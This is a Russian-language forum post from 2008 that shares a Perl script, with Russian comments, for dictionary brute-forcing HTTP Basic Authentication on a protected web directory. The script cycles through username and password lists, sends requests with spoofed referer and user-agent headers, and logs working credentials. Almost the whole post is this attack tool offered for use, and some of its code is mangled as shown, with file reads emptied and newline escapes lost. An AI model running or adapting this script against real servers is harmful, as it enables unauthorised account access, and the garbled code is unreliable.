
04.07.2008, 21:09
|
|
Banned
Регистрация: 21.07.2007
Сообщений: 504
Провел на форуме: 1899369
Репутация:
445
|
|
Вот нашол.
#!/usr/bin/perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
## Modified by sikeirosa: sikeirosa@mail.ru
use MIME::Base64;
use IO::Socket;
use POSIX; ### Подрубаем модули POSIX, Socket и Base64
$server="127.0.0.1"; ### Удаленный сервер
$port="80"; ### Удаленный порт
$dir="/admin"; ### Запароленная директория
$logfile="sucess.log"; ### Логфайл, куда пишем пароль
$log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
$words="bigdict.txt"; ### Словарь (файл с паролями)
$users="users.txt"; ### Имя пользователя
open(file, "<$words") or die print "$!n";
@pwd_data=;
$total=@pwd_data;
close file; ### Записываем все пароли в один массив
open(file, "<$users") or die print "$!n";
@users_data=;
$total*=@users_data;
close file; ### Записываем всех пользователей в один массив
$i=0;
foreach $user (@users_data) {
foreach $pass (@pwd_data) {
$i++;
chomp($pass);
chomp($user);
open(file, ">$log") or die print "$!n";
$perc=($i*100)/$total;
$perc=ceil($perc); ### Высчитываем процент
print file "$perc% Donet$i of $totalttNow: $user:$passn"; ### Пишем в лог статус
close file;
$auth=encode_base64("$user:$pass"); ### Создаем Mime-хеш
chomp($auth);
### Порождаем сокет
$socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$portn";
print $socket "GET $dir HTTP/1.1n";
print $socket "Host: $servern";
print $socket "Accept: */*n";
print $socket "Referer: http://support.microsoft.com/n";
print $socket "User-Agent: Internet Explorer 6.0n";
print $socket "Pragma: no-cachen";
print $socket "Cache-Control: no-cachen";
print $socket "Authorization: Basic $authn";
print $socket "Connection: closenn"; ### Отправляем http-данные + Mime-хеш
$ans=<$socket>; ### Получаем ответ от сервера
if ($ans=~/200 Ok/i or $ans=~/301/i) {
open(logf, ">>$logfile") or die print "$!n"; ### Если пароль верный - пишем в success-лог
print logf "$user:$pass is OK!!!n";
close logf;
}
close($socket);
}
}
|
|
|